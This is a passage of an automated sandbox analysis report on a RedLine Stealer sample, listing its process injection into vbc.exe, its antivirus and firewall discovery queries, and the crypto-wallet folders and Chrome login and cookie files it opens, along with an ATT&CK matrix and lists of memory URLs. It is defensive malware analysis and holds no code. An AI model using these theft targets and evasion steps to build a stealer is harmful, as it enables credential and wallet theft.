Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\w5OsHBiADi.exe

Code function: 0_2_00437810 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00437810

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.3.w5OsHBiADi.exe.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w5OsHBiADi.exe.735a58.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.251937830.0000000000734000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.248830219.0000000000922000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: w5OsHBiADi.exe PID: 5816, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 101104, type: MEMORYSTR

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Source: Yara match	File source: 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 101104, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.3.w5OsHBiADi.exe.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w5OsHBiADi.exe.735a58.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.251937830.0000000000734000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.248830219.0000000000922000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: w5OsHBiADi.exe PID: 5816, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 101104, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	221 Windows Management Instrumentation	Path Interception	211 Process Injection	1 Masquerading	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Input Capture	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Native API	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	1 Input Capture	221 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	231 Virtualization/Sandbox Evasion	Security Account Manager	11 Process Discovery	SMB/Windows Admin Shares	2 Data from Local System	Automated Exfiltration	1 Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	211 Process Injection	NTDS	231 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Software Packing	Cached Domain Credentials	124 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
w5OsHBiADi.exe	81%	ReversingLabs	Win32.Trojan.RedLine
w5OsHBiADi.exe	63%	Virustotal		Browse
w5OsHBiADi.exe	100%	Joe Sandbox ML

URLs

Source	Detection	Scanner	Label
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id9	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5	0%	URL Reputation	safe
http://tempuri.org/Entity/Id4	0%	URL Reputation	safe
http://tempuri.org/Entity/Id7	0%	URL Reputation	safe
http://tempuri.org/Entity/Id7	0%	URL Reputation	safe
http://tempuri.org/Entity/Id6	0%	URL Reputation	safe
http://tempuri.org/Entity/Id19Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id19Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id6Response	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://tempuri.org/Entity/Id9Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id20	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21	0%	URL Reputation	safe
http://tempuri.org/Entity/Id22	0%	URL Reputation	safe
http://tempuri.org/Entity/Id23	0%	URL Reputation	safe
http://tempuri.org/Entity/Id24	0%	URL Reputation	safe
http://tempuri.org/Entity/Id24	0%	URL Reputation	safe
http://tempuri.org/Entity/Id24Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id24Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id1Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id1Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10	0%	URL Reputation	safe
http://tempuri.org/Entity/Id11	0%	URL Reputation	safe
http://tempuri.org/Entity/Id12	0%	URL Reputation	safe
http://tempuri.org/Entity/Id16Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id13	0%	URL Reputation	safe
http://tempuri.org/Entity/Id14	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15	0%	URL Reputation	safe
http://tempuri.org/Entity/Id16	0%	URL Reputation	safe
http://tempuri.org/Entity/Id17	0%	URL Reputation	safe
http://tempuri.org/Entity/Id18	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id19	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id23Response	0%	URL Reputation	safe

Domains and IPs

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	vbc.exe, 00000002.00000002.332247894.0000000007CA0000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.330728531.0000000007B26000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.327339075.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.330872085.0000000007B43000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.332575224.0000000007CFC000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331905691.0000000007C3F000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.330330171.0000000007A90000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328673788.0000000006D69000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.332354289.0000000007CBD000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331820122.0000000007C22000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331379186.0000000007BA4000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.332713200.0000000007D19000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331508631.0000000007BC1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328275264.0000000006CDB000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.333020320.0000000007D7B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.327771596.0000000006C4E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gcc.gnu.org/bugs/):	w5OsHBiADi.exe	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	vbc.exe, 00000002.00000002.331508631.0000000007BC1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328275264.0000000006CDB000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.333020320.0000000007D7B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.327771596.0000000006C4E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id12Response	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328723679.0000000006D76000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://tempuri.org/Entity/Id2Response	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id21Response	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id9	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/faulth	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id8	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id5	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id4	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id7	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://tempuri.org/Entity/Id6	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id19Response	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id15Response	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id6Response	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ip.sb/ip	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/sc	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id9Response	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	vbc.exe, 00000002.00000002.331508631.0000000007BC1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328275264.0000000006CDB000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.333020320.0000000007D7B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.327771596.0000000006C4E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id20	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id21	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id22	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id23	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id24	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id24Response	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://tempuri.org/Entity/Id1Response	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=	vbc.exe, 00000002.00000002.332247894.0000000007CA0000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.330728531.0000000007B26000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.327339075.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.330872085.0000000007B43000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.332575224.0000000007CFC000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331905691.0000000007C3F000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.330330171.0000000007A90000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328673788.0000000006D69000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.332354289.0000000007CBD000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331820122.0000000007C22000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331379186.0000000007BA4000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.332713200.0000000007D19000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331508631.0000000007BC1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328275264.0000000006CDB000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.333020320.0000000007D7B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.327771596.0000000006C4E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id10	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id11	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id12	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id16Response	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328723679.0000000006D76000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id13	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id14	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id15	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id16	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id17	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id18	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id5Response	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id19	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id10Response	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328723679.0000000006D76000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
